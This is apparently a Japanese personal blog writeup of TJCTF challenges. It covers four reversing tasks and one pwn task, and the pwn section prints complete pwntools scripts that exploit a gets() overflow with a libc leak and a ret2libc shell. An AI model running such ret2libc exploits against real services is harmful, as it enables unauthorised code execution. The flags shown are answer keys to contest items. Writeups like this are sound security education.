TJCTF writeup
久しぶりの更新、生きています。
TJCTFで僕が解いた問題のwriteupを書きます
TJCTFリンクhttps://tjctf.org/
Python in One Line (rev 10pt)
問題文
It's not code golf but it's something...
one.py This is printed when you input the flag: .. - / .. ... -. - / -- --- .-. ... / -.-. --- -.. .
ソースコードが配られる
# one.py print(' '.join([{'a':'...-', 'b':'--..', 'c':'/', 'd':'-.--', 'e':'.-.', 'f':'...', 'g':'.-..', 'h':'--', 'i':'---', 'j':'-', 'k':'-..-', 'l':'-..', 'm':'..', 'n':'.--', 'o':'-.-.', 'p':'--.-', 'q':'-.-', 'r':'.-', 's':'-...', 't':'..', 'u':'....', 'v':'--.', 'w':'.---', 'y':'..-.', 'x':'..-', 'z':'.--.', '{':'-.', '}':'.'}[i] for i in input('What do you want to secrify? ')]))
アルファベットと符号化された対応がわかるので、デコードする。
Checker (rev 30pt)
問題文
Found a flag checker program that looked pretty sketchy. Take a look at it.
file
配られるのはjavaファイル
import java.util.*; public class Checker{ public static String wow(String b, int s){ String r = ""; for(int x=s; x<b.length()+s; x++){ r+=b.charAt(x%b.length()); } return r; } public static String woah(String b){ String r = ""; for(int x=0; x<b.length(); x++){ if(b.charAt(x)=='0') r+='1'; else r+='0'; } return r; } public static String encode(String plain){ String b = ""; Stack<Integer> t = new Stack<Integer>(); for(int x=0; x<plain.length(); x++){ int i = (int)plain.charAt(x); t.push(i); } for(int x=0; x<plain.length(); x++){ b+=Integer.toBinaryString(t.pop()); } b = woah(b); = wow(b,9); System.out.println(b); return b; } public static boolean check(String flag, String encoded){ if(encode(flag).equals(encoded)) return true; return false; } public static void main(String[] args){ String flag = "redacted"; String encoded = "1100001110000111000011000010100001110000111000010100001110000010000110010001011001110000101010001011000001000"; System.out.println(check(flag,encoded)); } }
エンコード方法は文字列をasciiに変換しスタックにpush。その後スタックからpopし2進数の文字列に変換("AB"だったら0x41,0x42なので10000011000010)。その後0と1を反転させ、9個左にローテーションさせる。
デコードはその逆順を辿ればいいのだが、アルファベットをエンコードすると1文字あたり長さが7になるのだが、数字などをエンコードすると長さが6になるので('1' -> 0x31 -> 110001)、どこで区切ればいいかわからんってなったので、フォーマットがtjctf{***}であることはわかっているので、それっぽいleet表現の文字列に直した。これ全探索以外に綺麗にコードでかけないよな。
FLAG: tjctf{qu1cks1c3}
Broken Parrot (rev 40pt)
問題文
I found this annoying parrot. I wish I could just ignore it, but I've heard that it knows something special.
バイナリファイルがもらえる。
$file parrot parrot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=ff7e4f0e71b221eb66d9be600b39895862fd9bdd, not stripped
32bit 動的リンク not stripped
$strings parrot | grep tjctf tjctf{my_b3l0v3d_5qu4wk3r_w0n7_y0u_l34v3_m3_4l0n3}
しかしこれはダミー。gdbで開く。
$gdb ./parrot gdb-peda$ pdisas main Dump of assembler code for function main: ... ... 0x0804852e <+99>: mov DWORD PTR [ebp-0x50],0x1 0x08048535 <+106>: mov DWORD PTR [ebp-0x4c],0x0 0x0804853c <+113>: cmp DWORD PTR [ebp-0x4c],0x5 0x08048540 <+117>: jg 0x8048569 <main+158> 0x08048542 <+119>: lea edx,[ebp-0x3f] 0x08048545 <+122>: mov eax,DWORD PTR [ebp-0x4c] 0x08048548 <+125>: add eax,edx 0x0804854a <+127>: movzx edx,BYTE PTR [eax] 0x0804854d <+130>: mov eax,DWORD PTR [ebp-0x4c] 0x08048550 <+133>: add eax,0x804a040 0x08048555 <+138>: movzx eax,BYTE PTR [eax] 0x08048558 <+141>: cmp dl,al 0x0804855a <+143>: je 0x8048563 <main+152> 0x0804855c <+145>: mov DWORD PTR [ebp-0x50],0x0 0x08048563 <+152>: add DWORD PTR [ebp-0x4c],0x1 0x08048567 <+156>: jmp 0x804853c <main+113> 0x08048569 <+158>: mov DWORD PTR [ebp-0x48],0x0 0x08048570 <+165>: cmp DWORD PTR [ebp-0x48],0x2 0x08048574 <+169>: jg 0x804859f <main+212> 0x08048576 <+171>: mov eax,DWORD PTR [ebp-0x48] 0x08048579 <+174>: add eax,0x6 0x0804857c <+177>: movzx edx,BYTE PTR [ebp+eax*1-0x3f] 0x08048581 <+182>: mov eax,DWORD PTR [ebp-0x48] 0x08048584 <+185>: add eax,0xe 0x08048587 <+188>: movzx eax,BYTE PTR [eax+0x804a040] 0x0804858e <+195>: cmp dl,al 0x08048590 <+197>: je 0x8048599 <main+206> 0x08048592 <+199>: mov DWORD PTR [ebp-0x50],0x0 0x08048599 <+206>: add DWORD PTR [ebp-0x48],0x1 0x0804859d <+210>: jmp 0x8048570 <main+165> 0x0804859f <+212>: mov DWORD PTR [ebp-0x44],0x0 0x080485a6 <+219>: cmp DWORD PTR [ebp-0x44],0x16 0x080485aa <+223>: jg 0x80485d5 <main+266> 0x080485ac <+225>: mov eax,DWORD PTR [ebp-0x44] 0x080485af <+228>: add eax,0xa 0x080485b2 <+231>: movzx edx,BYTE PTR [ebp+eax*1-0x3f] 0x080485b7 <+236>: mov eax,DWORD PTR [ebp-0x44] 0x080485ba <+239>: add eax,0x1b 0x080485bd <+242>: movzx eax,BYTE PTR [eax+0x804a040] 0x080485c4 <+249>: cmp dl,al 0x080485c6 <+251>: je 0x80485cf <main+260> 0x080485c8 <+253>: mov DWORD PTR [ebp-0x50],0x0 0x080485cf <+260>: add DWORD PTR [ebp-0x44],0x1 0x080485d3 <+264>: jmp 0x80485a6 <main+219> 0x080485d5 <+266>: movzx eax,BYTE PTR [ebp-0x36] 0x080485d9 <+270>: cmp al,0x64 0x080485db <+272>: je 0x80485e4 <main+281> 0x080485dd <+274>: mov DWORD PTR [ebp-0x50],0x0 0x080485e4 <+281>: cmp DWORD PTR [ebp-0x50],0x0 0x080485e8 <+285>: je 0x80485ff <main+308> ... ... End of assembler dump.
main+99~main+156でinputの最初の6文字を比較している。比較するのはダミーが入っている0x804a040の中身。
main+158~main+210でinputの次の3文字と0x804a040+0xeからの3文字を比較している。
main+212~main+264でinputの11文字目から23文字と0x804a040+0x1bからを比較している。
main+266~main+270でinputの10文字目が0x64('D')であるかどうか比較している。
FLAG: tjctf{3d_D0n7_y0u_l34v3_m3_4l0n3}
don't you leave me alone ... 悲C
Invalidator (rev 70pt)
問題文
Come one, come all! I offer to you unparalleled convenience in getting your flags invalidated!
$file invalidator invalidator: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=3583ac8cbf9f4a9128376ebaa5775ff78f9b08ba, not stripped $strings invalidator ... ... tjct f{0h _my_ 4_51 mpl3 70n_ 4_r3 d_h3 rr1n 6_f0 r_7h UWVS t$,U ... ...
しかしこれもダミー。これにxorするとかでもなくまじで関係ないやつだった。
gdbで見るとプログラムの第一引数と何かを比較する感じ。肝心なのは自作関数strcmp。
gdb-peda$ pdisas strcmp Dump of assembler code for function strcmp: 0x080484ab <+0>: push ebp 0x080484ac <+1>: mov ebp,esp 0x080484ae <+3>: sub esp,0x10 => 0x080484b1 <+6>: mov DWORD PTR [ebp-0x4],0x0 0x080484b8 <+13>: jmp 0x80484cd <strcmp+34> 0x080484ba <+15>: mov edx,DWORD PTR [ebp-0x4] 0x080484bd <+18>: mov eax,DWORD PTR [ebp+0xc] 0x080484c0 <+21>: add eax,edx 0x080484c2 <+23>: movzx eax,BYTE PTR [eax] 0x080484c5 <+26>: test al,al 0x080484c7 <+28>: je 0x8048512 <strcmp+103> 0x080484c9 <+30>: add DWORD PTR [ebp-0x4],0x1 0x080484cd <+34>: mov eax,DWORD PTR [ebp-0x4] 0x080484d0 <+37>: shl eax,0x2 0x080484d3 <+40>: add eax,0x2 0x080484d6 <+43>: mov eax,DWORD PTR [eax*4+0x804a040] 0x080484dd <+50>: mov ecx,DWORD PTR [ebp-0x4] 0x080484e0 <+53>: mov edx,DWORD PTR [ebp+0xc] 0x080484e3 <+56>: add edx,ecx 0x080484e5 <+58>: movzx edx,BYTE PTR [edx] 0x080484e8 <+61>: movsx ecx,dl 0x080484eb <+64>: mov edx,DWORD PTR [ebp-0x4] 0x080484ee <+67>: shl edx,0x2 0x080484f1 <+70>: mov edx,DWORD PTR [edx*4+0x804a040] 0x080484f8 <+77>: xor ecx,edx 0x080484fa <+79>: mov edx,DWORD PTR [ebp-0x4] 0x080484fd <+82>: add edx,0x40 0x08048500 <+85>: shl edx,0x2 0x08048503 <+88>: mov edx,DWORD PTR [edx*4+0x804a040] 0x0804850a <+95>: xor edx,ecx 0x0804850c <+97>: cmp eax,edx 0x0804850e <+99>: je 0x80484ba <strcmp+15> 0x08048510 <+101>: jmp 0x8048513 <strcmp+104> 0x08048512 <+103>: nop 0x08048513 <+104>: cmp DWORD PTR [ebp-0x4],0x28 0x08048517 <+108>: sete al 0x0804851a <+111>: movzx eax,al 0x0804851d <+114>: leave 0x0804851e <+115>: ret
どうやら0x804a040からのデータと比較している。
これもgdbで見てみよう。
gdb-peda$ x/20x 0x804a040 0x804a040 <r>: 0x0000004d 0x00000071 0x00000059 0x000000a1 0x804a050 <r+16>: 0x000000bb 0x00000040 0x000000f9 0x0000000e 0x804a060 <r+32>: 0x0000004b 0x00000085 0x000000a8 0x0000003a 0x804a070 <r+48>: 0x000000ca 0x00000052 0x0000009c 0x00000082 0x804a080 <r+64>: 0x00000014 0x0000008a 0x000000ca 0x00000077
明らかに人の手で作り込んだようなデータがある。しかもrというシンボル名が付いている。
$readelf -s ./invalidator ... ... 52: 0804a040 2048 OBJECT GLOBAL DEFAULT 25 r ... ... $hexdump -C ./invalidator | grep 4d 000004d0 c1 e0 02 83 c0 02 8b 04 85 40 a0 04 08 8b 4d fc |.........@....M.| 00000540 4d f4 31 c9 83 38 01 7f 20 8b 45 b4 8b 00 83 ec |M.1..8.. .E.....| 00000610 ff 8b 4d fc c9 8d 61 fc c3 66 90 66 90 66 90 90 |..M...a..f.f.f..| 000007b0 69 0e 24 44 0e 28 44 0e 2c 41 0e 30 4d 0e 20 47 |i.$D.(D.,A.0M. G| 00001040 4d 00 00 00 71 00 00 00 59 00 00 00 a1 00 00 00 |M...q...Y.......| 000014d0 33 00 00 00 14 00 00 00 6f 00 00 00 55 00 00 00 |3.......o...U...| 00001680 a2 00 00 00 9d 00 00 00 0d 00 00 00 4d 00 00 00 |............M...| 00001710 c2 00 00 00 7f 00 00 00 4d 00 00 00 19 00 00 00 |........M.......| 00001dc0 4d 45 5f 45 4e 44 5f 5f 00 5f 5f 4a 43 52 5f 45 |ME_END__.__JCR_E| 00001de0 79 5f 65 6e 64 00 5f 44 59 4e 41 4d 49 43 00 5f |y_end._DYNAMIC._| 00001e00 74 00 5f 5f 47 4e 55 5f 45 48 5f 46 52 41 4d 45 |t.__GNU_EH_FRAME| 00001e30 63 5f 63 73 75 5f 66 69 6e 69 00 5f 49 54 4d 5f |c_csu_fini._ITM_| 00001e40 64 65 72 65 67 69 73 74 65 72 54 4d 43 6c 6f 6e |deregisterTMClon| 00001f40 73 73 65 73 00 5f 5f 54 4d 43 5f 45 4e 44 5f 5f |sses.__TMC_END__| 00001f50 00 5f 49 54 4d 5f 72 65 67 69 73 74 65 72 54 4d |._ITM_registerTM| 000024d0 00 00 00 00 01 00 00 00 01 00 00 00 11 00 00 00 |................|
readelfでサイズが2048、hexdumpで最初の4dを調べて見ると0x1040からrがあることがわかる。(他になんか便利なコマンドあったはずだが忘れた)
solve.cではrは実際には4バイトずつにしか値が入ってないので長さ512の配列を用意して、バイナリファイルから直に読み込んだ。デコードする操作はアセンブリをみて理解する。
//solve.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main() { char r[512]; int fd; fd = open("./invalidator", O_RDONLY); if(fd < 0){ printf("error"); exit(0); } int i; for(i = 0; i < 512; i++){ lseek(fd, 0x1040+i*4, SEEK_SET); read(fd, &(r[i]), 1); } char flag; for(i = 0; i < 0x29; i++){ flag = r[i*4+2] ^ r[i*4] ^ r[(i+0x40)*4]; printf("%c", flag); } printf("\n"); return 0; }
FLAG: tjctf{7h4nk_y0u_51r_0r_m4d4m3_v3ry_c00l}
Silly Sledshop (pwn 80pt)
問題文
Omkar really wants to experience Arctic dogsledding. Unfortunately, the sledshop (source) he has come across is being very uncooperative. How pitiful.
Lesson: nothing stops Omkar.
He will go sledding whenever and wherever he wants.
nc p1.tjctf.org 8010
ご丁寧にcのソースまである。
#include <stdio.h> #include <stdlib.h> void shop_setup() { gid_t gid = getegid(); setresgid(gid, gid, gid); setbuf(stdout, NULL); } void shop_list() { printf("The following products are available:\n"); printf("| Saucer | $1 |\n"); printf("| Kicksled | $2 |\n"); printf("| Airboard | $3 |\n"); printf("| Toboggan | $4 |\n"); } void shop_order() { int canary = 0; char product_name[64]; printf("Which product would you like?\n"); gets(product_name); if (canary) printf("Sorry, we are closed.\n"); else printf("Sorry, we don't currently have the product %s in stock. Try again later!\n", product_name); } int main(int argc, char **argv) { shop_setup(); shop_list(); shop_order(); return 0; }
shop_orderのgetsでoverflowが起こせる。自作canaryは0にすることもできるが、上書きしてしまっても今回は問題ない。
まずはrpでpop,retのガジェットを検索して、putsを利用し、puts@gotとgets@gotの中身をリークし、サーバーのlibcを特定する。
# leek.py from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "p1.tjctf.org" PORT = 8010 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./sledshop') puts_plt = 0x80483f0 gets_got = 0x804a014 puts_got = 0x804a01c pop_edx_ret = 0x08048395 payload = "A"*0x50 payload += p32(puts_plt) payload += p32(pop_edx_ret) payload += p32(gets_got) payload += p32(puts_plt) payload += "AAAA" payload += p32(puts_got) conn.recvuntil("like?") conn.sendline(payload) conn.recvuntil("closed.\n") libc_gets = conn.recvline() libc_puts = conn.recvline() print "libc_gets = " + hex(u32(libc_gets[0:4])) print "libc_puts = " + hex(u32(libc_puts[0:4])) conn.interactive()
getsとputsのアドレスがわかったら、
https://libc.blukat.me/
に入力してlibcを特定、/bin/shとsystemのオフセットも特定。このサイトマジで便利だな。
あとはASLRを回避するためにputsのアドレスをリークしつつ、もう一度shop_order関数に戻り、もう一度getsに対してoverflowを仕掛ける。
#solver.py from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "p1.tjctf.org" PORT = 8010 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./sledshop') #in libc system_offset = 0x3a940 binsh_offset = 0x15902b puts_offset = 0x5f140 puts_plt = 0x80483f0 puts_got = 0x804a01c pop_edx_ret = 0x08048395 shop_order = 0x80485bc payload = "A"*0x50 payload += p32(puts_plt) payload += p32(shop_order) payload += p32(puts_got) conn.recvuntil("like?") conn.sendline(payload) conn.recvuntil("closed.\n") libc_puts = conn.recvline() libc_puts = u32(libc_puts[0:4]) print "libc_puts = " + hex(libc_puts) libc_base = libc_puts - puts_offset system_addr = libc_base + system_offset binsh_addr = libc_base + binsh_offset print "system_addr = " + hex(system_addr) print "binsh_addr = " + hex(binsh_addr) payload = "A"*0x50 payload += p32(system_addr) payload += "A"*4 payload += p32(binsh_addr) conn.recvuntil("like?") conn.sendline(payload) conn.recvuntil("closed.\n") conn.interactive()
FLAG: tjctf{5l3dd1n6_0mk4r_15_h4ppy_0mk4r}
総括
この間、人の書いたwriteupをみてlibcを特定するサイトを知ったのだが、早速使える場面が来て、嬉しい。最近rev,pwn担当として、非力ながらチームに参加させてもらったので、頑張っていきたい。
てかCTF楽しい。早く研究室とか就活とか終わらせて、卒業したい。社会人になったらやる元気あるのかな。
今後もよろしくお願いしますわ。